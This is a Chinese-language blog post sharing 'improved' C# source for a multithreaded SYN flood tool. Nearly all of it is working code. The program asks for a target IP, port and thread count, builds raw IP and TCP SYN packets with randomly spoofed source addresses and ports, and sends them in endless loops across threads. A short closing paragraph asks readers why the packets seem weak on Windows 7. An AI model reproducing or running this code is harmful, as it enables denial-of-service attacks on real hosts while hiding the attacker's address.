关于C# SYN泛洪攻击代码的一些改进

前段时间在看了博主 国际海员 的文章，一篇关于“NET平台下的IP欺骗和SYN Flood攻击”，在文章中，关于博主的多线程代码部分，鄙人有了些自己的改进，另外在整体代码布局上也整理了一下，使之看起来思路更加清晰，鄙人刚开园，也处于学习进步之中，还有很多地方不是特别清楚，还请众位博友指教。废话少说，上代码

  public class Program
    {
        static void Main(string[] args)
        {
            //RawSocket rs = new RawSocket();
            //rs.CreateAndBindSocket("127.0.0.1");
            //while (true) rs.Run();
            Console.WriteLine("请输入IP：");
            string sip = Console.ReadLine();
            Console.WriteLine("请输入端口：");
            int port = Convert.ToInt32(Console.ReadLine());
            Console.WriteLine("请输入线程数：");
            int ThreadNumber = Convert.ToInt32(Console.ReadLine());
            SYN syn = new SYN(sip, port);
            Thread[] th = new Thread[ThreadNumber];
            for (int i = 0; i < ThreadNumber; i++)
            {
                th[i] = new Thread(new ThreadStart(syn.synFS));
                th[i].Start();
            }
        }
}

unsafe public struct ipHeader          //IP首部信息
    {
        public byte ip_verlen; //4位首部长度+4位IP版本号  
        public byte ip_tos; //8位服务类型TOS  
        public ushort ip_totallength; //16位数据包总长度（字节）  
        public ushort ip_id; //16位标识  
        public ushort ip_offset; //3位标志位  
        public byte ip_ttl; //8位生存时间 TTL  
        public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)  
        public ushort ip_checksum; //16位IP首部校验和  
        public uint ip_srcaddr; //32位源IP地址  
        public uint ip_destaddr; //32位目的IP地址  

        public ipHeader(string hh)
        {
            this.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));//ipv4，20字节ip头，这个固定就是69 
            this.ip_tos = 0;                                                  //这个0就行了  
            this.ip_totallength = 0x2800;                                    //这个是ip头+tcp头总长，40是最小长度，不带tcp option，应该是0028但是还是网络字节序所以倒过来成了2800  
            this.ip_id = 0x9B18;
            this.ip_offset = 0x40;
            this.ip_ttl = 64;
            this.ip_protocol = 6;
            this.ip_checksum = UInt16.Parse("0");
            this.ip_destaddr = 0;
            this.ip_srcaddr = 0;
        }
    }

unsafe  public struct psdHeader     //TCP伪首部
    {
        public uint saddr;   //源地址  
        public uint daddr;   //目的地址  
        public byte mbz;
        public byte ptcl;      //协议类型  
        public ushort tcpl;   //TCP长度  

        public psdHeader(string hh)
        {
            this.saddr = 0;
            this.daddr = 0;
            this.mbz = 0;
            this.ptcl = 6;
            this.tcpl = 0x1400;
        }
    }

unsafe public struct tcpHeader     //TCP首部
    {
        public ushort th_sport;     //16位源端口  
        public ushort th_dport;     //16位目的端口  
        public int th_seq;    //32位序列号  
        public uint th_ack;    //32位确认号  
        public byte th_lenres;   //4位首部长度/6位保留字  
        public byte th_flag;    //6位标志位  
        public ushort th_win;      //16位窗口大小  
        public ushort th_sum;      //16位校验和  
        public ushort th_urp;      //16位紧急数据偏移量

        public tcpHeader(string hh)
        {
            this.th_sport = 0;
            this.th_dport = 0;
            this.th_seq = 0;
            this.th_ack = 0;
            this.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0));
            this.th_flag = 2;
            this.th_win = ushort.Parse("16614");
            this.th_sum = UInt16.Parse("0");
            this.th_urp = UInt16.Parse("0");
        }
    }

public class Tools
    {
        //这个使用来计算校验码的我照抄c#实现ping那文章的方法，反正ip协议计算校验码方法都一样  
        public static UInt16 checksum(UInt16[] buffer, int size)
        {
            Int32 cksum = 0;
            int counter;
            counter = 0;

            while (size > 0)
            {
                UInt16 val = buffer[counter];

                cksum += Convert.ToInt32(buffer[counter]);
                counter += 1;
                size -= 1;
            }

            cksum = (cksum >> 16) + (cksum & 0xffff);
            cksum += (cksum >> 16);
            return (UInt16)(~cksum);
        }
        


        //这个是计算校验，把那些类型不一样的全转为16位字节数组用的  
        public static UInt16 chec(byte[] buffer, int size)
        {
            Double double_length = Convert.ToDouble(size);
            Double dtemp = Math.Ceiling(double_length / 2);
            int cksum_buffer_length = Convert.ToInt32(dtemp);
            UInt16[] cksum_buffer = new UInt16[cksum_buffer_length];
            int icmp_header_buffer_index = 0;
            for (int i = 0; i < cksum_buffer_length; i++)
            {
                cksum_buffer[i] =
                 BitConverter.ToUInt16(buffer, icmp_header_buffer_index);
                icmp_header_buffer_index += 2;
            }
            UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);
            return u_cksum;
        }

        //这个是把ip部分转为字节数组用的  
        public static Int32 ipto(ipHeader iph, byte[] Buffer, int size)
        {
            Int32 rtn = 0;
            int index = 0;
            byte[] b_verlen = new byte[1];
            b_verlen[0] = iph.ip_verlen;
            byte[] b_tos = new byte[1];
            b_tos[0] = iph.ip_tos;
            byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength);
            byte[] b_id = BitConverter.GetBytes(iph.ip_id);
            byte[] b_offset = BitConverter.GetBytes(iph.ip_offset);
            byte[] b_ttl = new byte[1];
            b_ttl[0] = iph.ip_ttl;
            byte[] b_protol = new byte[1];
            b_protol[0] = iph.ip_protocol;
            byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum);
            byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr);
            byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr);
            Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length);
            index += b_verlen.Length;
            Array.Copy(b_tos, 0, Buffer, index, b_tos.Length);
            index += b_tos.Length;
            Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length);
            index += b_totallen.Length;
            Array.Copy(b_id, 0, Buffer, index, b_id.Length);
            index += b_id.Length;
            Array.Copy(b_offset, 0, Buffer, index, b_offset.Length);
            index += b_offset.Length;
            Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length);
            index += b_ttl.Length;
            Array.Copy(b_protol, 0, Buffer, index, b_protol.Length);
            index += b_protol.Length;
            Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length);
            index += b_checksum.Length;
            Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length);
            index += b_srcaddr.Length;
            Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length);
            index += b_destaddr.Length;
            if (index != size/* sizeof(IcmpPacket)   */)
            {
                rtn = -1;
                return rtn;
            }

            rtn = index;
            return rtn;

        }

        //这个是把tcp伪首部转为字节数组用的  
        public static Int32 pshto(psdHeader psh, byte[] buffer, int size)
        {
            Int32 rtn;
            int index = 0;
            byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr);
            byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr);
            byte[] b_psh_mbz = new byte[1];
            b_psh_mbz[0] = psh.mbz;
            byte[] b_psh_ptcl = new byte[1];
            b_psh_ptcl[0] = psh.ptcl;
            byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl);
            Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length);
            index += b_psh_saddr.Length;
            Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length);
            index += b_psh_daddr.Length;
            Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length);
            index += b_psh_mbz.Length;
            Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length);
            index += b_psh_ptcl.Length;
            Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length);
            index += b_psh_tcpl.Length;
            if (index != size)
            {
                rtn = -1;
                return rtn;
            }
            else
            {
                rtn = index;
                return rtn;
            }

        }
        //这个是把tcp部分转为字节数组用的，因为这个要用到2次就不把这个和伪首部放一块了。  
        public static Int32 tchto(tcpHeader tch, byte[] buffer, int size)
        {
            Int32 rtn;
            int index = 0;
            byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport);
            byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport);
            byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq);
            byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack);
            byte[] b_tch_lenres = new byte[1];
            b_tch_lenres[0] = tch.th_lenres;
            byte[] b_tch_flag = new byte[1];
            b_tch_flag[0] = tch.th_flag;
            byte[] b_tch_win = BitConverter.GetBytes(tch.th_win);
            byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum);
            byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp);
            Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length);
            index += b_tch_sport.Length;
            Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length);
            index += b_tch_dport.Length;
            Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length);
            index += b_tch_seq.Length;
            Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length);
            index += b_tch_ack.Length;
            Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length);
            index += b_tch_lenres.Length;
            Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length);
            index += b_tch_flag.Length;
            Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length);
            index += b_tch_win.Length;
            Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length);
            index += b_tch_sum.Length;
            Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length);
            index += b_tch_urp.Length;
            if (index != size)
            {
                rtn = -1;
                return rtn;
            }
            else
            {
                rtn = index;
                return rtn;
            }
        }  

    }

unsafe  public class SYN
    {
        private uint ip;
        private ushort port;
        private EndPoint ep;
        private Random rand;
        private Socket sock;

        public SYN(string _ip, int _port)
        {
            IPHostEntry pe = Dns.GetHostByName(_ip);
            ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序                    
            port = ushort.Parse(_port.ToString());
            ep = new IPEndPoint(pe.AddressList[0], port);
            rand = new Random();
      
            sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
            sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
            //这2个挺重要，必须这样才可以自己提供ip头  
        }

         public void synFS()
        {         
            string ss = "";
            ipHeader iph = new ipHeader(ss);
            psdHeader psh = new psdHeader(ss);
            tcpHeader tch = new tcpHeader(ss);
            string sip = "";    //源地址
            int sport = 0;      //源端口
            while (true)
            {
                sip = rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255);
                sport = rand.Next(1, 65535);
                byte[] senddata=this.CreateData(iph, psh, tch, sip, sport);              
                try
                {
                    Console.WriteLine("已伪造IP源地址为：" + sip + " 端口：" + sport);
                    sock.SendTo(senddata, ep); //构造发送字节数组总是麻烦，发送就简单了，socket.sendto就可以了                     
                }
                catch
                {
                    Console.WriteLine("发送错误");
                    return;
                }


            }

        }
         private byte[] CreateData(ipHeader iph,psdHeader psh,tcpHeader tch,string sip,int sport)
         {

             //上面这一大堆东西就是计算校验和的方法了，方法是  
             //1、建立一个字节数组，前面放tcp伪首部后面放tcp首部，然后计算，确定最终tcp部分的校验和  
             //2、把确定了校验和地tcp首部重新生成字节数组，这是就不加tcp伪首部了，所以工20字节  
             //3、建40字节字节数组，前面放ip首部，后面放tcp首部，校验，确定最终ip部分校验和  
             //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中，就是要发送的buffer[]了，就是这么麻烦  
             
             psh.saddr = iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(sip).Address);
             
             ushort duankou = Convert.ToUInt16(sport);
             byte[] bt = BitConverter.GetBytes(duankou);
             Array.Reverse(bt);
             tch.th_sport = BitConverter.ToUInt16(bt, 0);
             tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646));
             //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序  

             iph.ip_checksum = 0;
             tch.th_sum = 0;
             //因为循环中，所以每次必须把这2个已有数的清0才可计算  
             byte[] psh_buf = new byte[sizeof(psdHeader)];
             Int32 index = 0;
             index = Tools.pshto(psh, psh_buf, sizeof(psdHeader));
             if (index == -1)
             {
                 Console.WriteLine("构造tcp伪首部错误");                
                 throw new Exception("构造tcp伪首部错误");
             }

             index = 0;
             byte[] tch_buf = new byte[sizeof(tcpHeader)];
             index = Tools.tchto(tch, tch_buf, sizeof(tcpHeader));
             if (index == -1)
             {
                 Console.WriteLine("构造tcp首部错误1");                
                 throw new Exception("构造tcp首部错误1"); 
             }

             index = 0;
             byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)];
             Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length);
             index += psh_buf.Length;
             Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length);
             index += tch_buf.Length;
             tch.th_sum = Tools.chec(tcphe, index);

             //--------------------------------------------------------------------
             index = 0;
             index = Tools.tchto(tch, tch_buf, sizeof(tcpHeader));
             if (index == -1)
             {
                 Console.WriteLine("构造tcp首部错误2");                 
                 throw new Exception("构造tcp首部错误2");
             }


             index = 0;
             byte[] ip_buf = new byte[sizeof(ipHeader)];
             index = Tools.ipto(iph, ip_buf, sizeof(ipHeader));
             if (index == -1)
             {
                 Console.WriteLine("构造ip首部错误1");                 
                 throw new Exception("构造ip首部错误1");
             }
             index = 0;
             byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)];
             Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
             index += ip_buf.Length;
             Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
             index += tch_buf.Length;
             iph.ip_checksum = Tools.chec(iptcp, index);
             index = 0;
             index = Tools.ipto(iph, ip_buf, sizeof(tcpHeader));
             if (index == -1)
             {
                 Console.WriteLine("构造ip首部错误2");                
                 throw new Exception("构造ip首部错误2");
             }
             index = 0;
             Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length);
             index += ip_buf.Length;
             Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length);
             index += tch_buf.Length;
             if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader)))
             {
                 Console.WriteLine("构造iptcp报文错误");
                 throw new Exception("构造iptcp报文错误");
             }
             return iptcp;
         }
    }

在线程栈中独立申请了IP首部，TCP伪首部和TCP首部，实现互不干扰，这样就能实现一个对象，多个线程。另外，据说微软在WIN7开始就不能再使用原始套接字，一些博友说使用管理员权限运行可以，一些博友说不行，我自己测试的是，编译没问题，但是在目标机器上数据包好像不怎么明显，也不知道是不是这个原因，知道的博友麻烦告诉我一声，不胜感激！

原文出处：http://blog.csdn.net/zou_seafarer/article/details/6208833